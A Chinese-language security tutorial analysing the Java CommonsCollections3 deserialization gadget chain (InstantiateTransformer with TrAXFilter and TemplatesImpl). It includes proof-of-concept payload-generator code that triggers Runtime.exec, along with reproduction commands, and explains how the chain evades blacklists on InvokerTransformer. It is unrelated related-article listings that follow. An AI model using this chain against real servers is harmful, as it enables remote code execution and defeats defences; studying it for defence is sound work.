java反序列化之CC3 利用链分析:InstantiateTransformer 的迂回

发布时间:2026/9/14 10:45:42

java反序列化之CC3 利用链分析:InstantiateTransformer 的迂回 CC3 利用链分析InstantiateTransformer 的迂回CommonsCollections3写在前面CC3 是个混血儿入口用 CC1 的AnnotationInvocationHandlerLazyMap 动态代理。执行体用 CC2 的TemplatesImpl字节码加载。但你可能会问CC1 的入口 CC2 的执行体直接把 CC2 的InvokerTransformer(newTransformer)塞进 CC1 的LazyMap不就完了为什么还要单独搞个 CC3答案在于黑名单对抗CC2 直接用InvokerTransformer调newTransformer而很多防护会盯InvokerTransformer。CC3 换了个更迂回的触发方式–用InstantiateTransformer去实例化TrAXFilter间接调到newTransformer从而避开对InvokerTransformer的封堵。前置知识见 前置基础篇。一、链路概览[同 CC1 入口] AnnotationInvocationHandler.readObject() - Proxy.entrySet - AIH.invoke - memberValues.get(entrySet) - LazyMap.get() - ChainedTransformer.transform() ConstantTransformer(TrAXFilter.class) - TrAXFilter.class InstantiateTransformer([Templates.class],[templates]) - new TrAXFilter(templates) - TrAXFilter.init - templates.newTransformer() - TemplatesImpl 加载 _bytecodes - newInstance() - Evil 静态块 - Runtime.exec入口和 CC1 一模一样区别只在LazyMap的factoryChainedTransformer内容CC1 是Runtime.exec反射链CC3 是InstantiateTransformerTrAXFilter。二、入口同 CC1入口部分完全照搬 CC1详见 CC1 篇内层 AIH 的memberValuesLazyMapfactoryChainedTransformer。以内层 AIH 为 handler 建 Map 动态代理。外层 AIH 的memberValues 该代理。序列化外层 AIH反序列化时readObject调proxyMap.entrySet()- 内层invoke-memberValues.get(entrySet)-LazyMap.get()-ChainedTransformer.transform()。同样受 JDK 8u71 限制入口是 AIH。三、执行体InstantiateTransformer TrAXFilter3.1 InstantiateTransformer实例化任意类InstantiateTransformer是 CC 库的另一个 Transformer它的transform接收一个Class用预设的构造参数实例化它// InstantiateTransformer.transformpublicObjecttransform(Objectinput){Class?cls(Class?)input;Constructor?concls.getConstructor(iParamTypes);// 找构造器returncon.newInstance(iArgs);// ★ 实例化}即transform(SomeClass.class)-new SomeClass(预设参数)。3.2 TrAXFilter间接调 newTransformerTrAXFiltercom.sun...trax.TrAXFilter是个 XSLT 过滤器它的构造函数接收Templates并在内部调templates.newTransformer()publicTrAXFilter(Templatestemplates)throwsTransformerConfigurationException{_templatestemplates;_transformer(TransformerImpl)templates.newTransformer();// ★ 构造时触发// ...}3.3 串起来CC3 的ChainedTransformerTransformer[]transformersnewTransformer[]{newConstantTransformer(TrAXFilter.class),// - TrAXFilter.classnewInstantiateTransformer(newClass[]{Templates.class},newObject[]{templates})// - new TrAXFilter(templates)};ChainedTransformerrealChainnewChainedTransformer(transformers);执行流程ConstantTransformer(TrAXFilter.class).transform(...)- 返回TrAXFilter.class。InstantiateTransformer.transform(TrAXFilter.class)- 反射new TrAXFilter(templates)。TrAXFilter构造函数里templates.newTransformer()-TemplatesImpl加载_bytecodes-newInstance()-Evil静态块 -Runtime.exec(calc)。TemplatesImpl的构造同 CC2_bytecodes_name_tfactory。四、为什么这么绕CC3 存在的意义对比 CC2 的执行体InvokerTransformer(newTransformer).transform(templates)直接对TemplatesImpl调newTransformer。CC3 的执行体绕了个弯InstantiateTransformer-new TrAXFilter(templates)- 构造里调newTransformer。为什么要绕因为InvokerTransformer是反序列化防护的重点盯防对象它太通用、太危险能调任意方法。一些黑名单/RASP 会封InvokerTransformer或它的transform。CC3 的精明之处整个ChainedTransformer里没有InvokerTransformer只有ConstantTransformer和InstantiateTransformer。newTransformer不是被直接调用的而是藏在TrAXFilter构造函数内部–黑名单很难覆盖到这种通过实例化某个类间接触发的路径。所以 CC3 的定位是绕过针对 InvokerTransformer 的黑名单。代价是入口仍是 CC1受 8u71 限制所以它不是万能的。五、完整 POCCC3Gen.java关键部分入口同 CC1执行体换成 InstantiateTransformer// 1. 恶意 translet 字节码 - TemplatesImpl同 CC2byte[]evilBytesFiles.readAllBytes(Paths.get(Evil.class));TemplatesImpltemplatesnewTemplatesImpl();setField(templates,_bytecodes,newbyte[][]{evilBytes});setField(templates,_name,Evil);setField(templates,_tfactory,newTransformerFactoryImpl());// 2. 执行体InstantiateTransformer - new TrAXFilter(templates)Transformer[]transformersnewTransformer[]{newConstantTransformer(TrAXFilter.class),newInstantiateTransformer(newClass[]{Templates.class},newObject[]{templates})};ChainedTransformerrealChainnewChainedTransformer(transformers);// 3. LazyMap同 CC1MaplazyMapLazyMap.decorate(newHashMap(),realChain);// 4. 两层 AIH Proxy同 CC1ObjectinnerAIHaihCtor.newInstance(Override.class,lazyMap);MapproxyMap(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),newClass[]{Map.class},(InvocationHandler)innerAIH);ObjectouterAIHaihCtor.newInstance(Override.class,proxyMap);// 5. 序列化六、复现环境JDK 8u65 8u71 CommonsCollections 3.1java -cp .;commons-collections-3.1.jar CC3Gen java -cp .;commons-collections-3.1.jar Deserialize cc3.sercmd 输出readObject threw: FunctorException: InstantiateTransformer: Constructor threw an exception计算器已弹出。异常来自TrAXFilter构造函数newTransformer内部加载字节码、实例化 Evil、静态块执行 calc 完成后构造函数后续操作抛异常被InstantiateTransformer包成FunctorException。calc 在异常前已弹。七、小结CC3 CC1 入口 CC2 执行体但执行体刻意避开InvokerTransformer改用InstantiateTransformerTrAXFilter间接触发。它是黑名单对抗思路的典范危险操作可以藏在构造函数里TrAXFilter构造调newTransformer这种实例化即触发的模式让黑名单难以穷举。不要只盯单个 Transformer 类封了InvokerTransformer还有InstantiateTransformer能实例化任意类。但 CC3 的入口仍是 AIH所以 8u71 之后同样失效。下一篇 CC4我们把 CC2 的入口PriorityQueue和 CC3 的执行体InstantiateTransformerTrAXFilter组合–既不依赖 AIH又绕开 InvokerTransformer。参考ysoserial CommonsCollections3https://github.com/frohoff/ysoserial
延伸阅读

更多相关文章

2026/9/14 18:38:34

计算机毕业设计之爱它宠物管理系统

当下社会,信息技术充斥社会各个领域,已融入人们生活的点滴,日常中人们管理信息、办理业务、购买商品等都可以网络线上进行,快速而又便利,特别是随着移动互联网时代的到来,更是让人们随时享受着网络给带来的…

2026/9/12 21:30:25

Qlib量化投资平台:揭秘AI赋能的终极量化研究解决方案

Qlib量化投资平台:揭秘AI赋能的终极量化研究解决方案 【免费下载链接】qlib Qlib is an AI-oriented Quant investment platform that aims to use AI tech to empower Quant Research, from exploring ideas to implementing productions. Qlib supports diverse M…

2026/9/15 7:36:39

Spring配置类深度解析:@Configuration与@Component对比

1. Spring配置类的本质解析在Spring框架的实际开发中,我们经常遇到一个看似简单却容易混淆的问题:什么样的类才算是真正的配置类?这个问题直接关系到Spring容器的初始化行为和Bean的管理方式。作为使用Spring多年的开发者,我发现很…

2026/9/15 7:36:39

数据库表大小查询全攻略:8大数据库一次讲透

遇到磁盘告警、慢查询调优或者要评估迁移方案时,DBA和开发问得最多的一个问题就是:“这张表到底占了多少空间?”可一旦换了一个数据库,原本顺手拈来的查询语句可能就完全不适用了。MySQL 有 information_schema,Postgr…

2026/9/15 7:36:39

基于Java+JSP的汽车网上售票系统毕业设计实现与部署

简介:基于JavaJSP的汽车网上售票系统毕业设计完整源码包,面向计算机相关专业学生和Java Web初学者,适合毕业设计、课程实践或项目二次开发。项目模拟汽车票在线购买全流程,涉及Servlet、JDBC、JSP动态页面、MVC分层及数据库交互等…

2026/9/15 7:36:39

古典诗词创作技巧与现代应用解析

1. 诗词创作背景解析这首《卜算子》词牌作品以"志渡光阴万金贵"开篇,立即确立了珍惜时间、追求理想的核心主题。作为宋代流行的词牌,卜算子通常为双调四十四字,上下阕各四句,在有限的字数内需要完成意境营造和情感表达&…

2026/9/15 7:36:39

PICO串流开发中renderPassIndex越界问题解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/15 7:31:39

用Obsidian搭建LLM知识库:双链+原子笔记+MOC实操指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/15 4:54:30

拯救者Y7000黑屏故障排查与维修实战指南

1. 项目概述:一台黑屏的拯救者Y7000,到底卡在哪一步? 联想拯救者Y7000系列笔记本,从2018年第一代搭载i5-8300H开始,到后来的i7-9750H、i7-10750H、i5-11400H,再到2023年款的R7-7840HS,它始终是学…

2026/9/15 0:01:16

AI英语单词APP开发:自适应学习算法与移动端优化实践

1. 项目概述 作为一名在移动应用开发领域摸爬滚打多年的老手,我最近完成了一个AI英语单词APP的开发项目。这个项目将传统单词记忆方法与现代AI技术相结合,打造了一款能够智能适应不同用户学习习惯的英语学习工具。 市面上大多数单词APP都存在一个通病&a…

2026/9/15 0:01:16

Flutter与OpenHarmony结合开发手语学习APP实战

1. 项目背景与核心价值作为一名同时接触过Flutter和OpenHarmony的开发者,最近我完成了一个基于Flutter for OpenHarmony的手语学习APP实战项目。这个项目最大的特点在于实现了跨平台框架与国产操作系统深度结合的创新实践——用Flutter开发的应用能完美运行在OpenHa…

2026/9/15 0:01:16

六个月成为机器人工程师:从ROS2到SLAM的实战路径

1. 六个月的紧迫感从哪来:先搞清楚你要成为哪种机器人工程师说实话,六个月的期限并不是一个宽松的时间线。市面上任何一本正经的机器人学教材都超过五百页,ROS2的官方文档可以翻到你怀疑人生,再加上ABB、KUKA这些工业机器人厂家动…

2026/9/14 11:59:31

USB Type-C PCB布局分区设计:电源、高速信号与PD协议全攻略

做硬件这行,Type-C接口算是典型的“看着简单,做起来全坑”的东西。光引脚就24个,高低速信号、电源、控制线全部塞在一个小小的连接器里,如果PCB布局不做规划,打样回来基本就是“插上没反应”、“高速掉线”、“静电一打…

2026/9/14 13:53:59

系统编程学习原型如何补齐稳定性边界

系统编程学习原型如何补齐稳定性边界预算有限时&#xff0c;我先优化明显多余的复制&#xff0c;而不是猜测性地换容器。用借用传递只读数据通常就能减少分配&#xff1a; fn parse(line: &str) -> Result<Item, Error> { /* ... */ }用基准确认热点确实在分配&am…

2026/9/14 11:22:57

雨花区哪家财务公司代理记账比较好?

在雨花区&#xff0c;企业处理财税事务常常面临诸多挑战&#xff0c;选择一家靠谱的财务公司至关重要。湖南巨勤财务管理咨询有限公司就是本地正规实体财税服务机构&#xff0c;深耕本地工商财税行业多年&#xff0c;熟悉当地工商局、税务局最新政策与申报流程。主营公司注册、…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
咨询二维码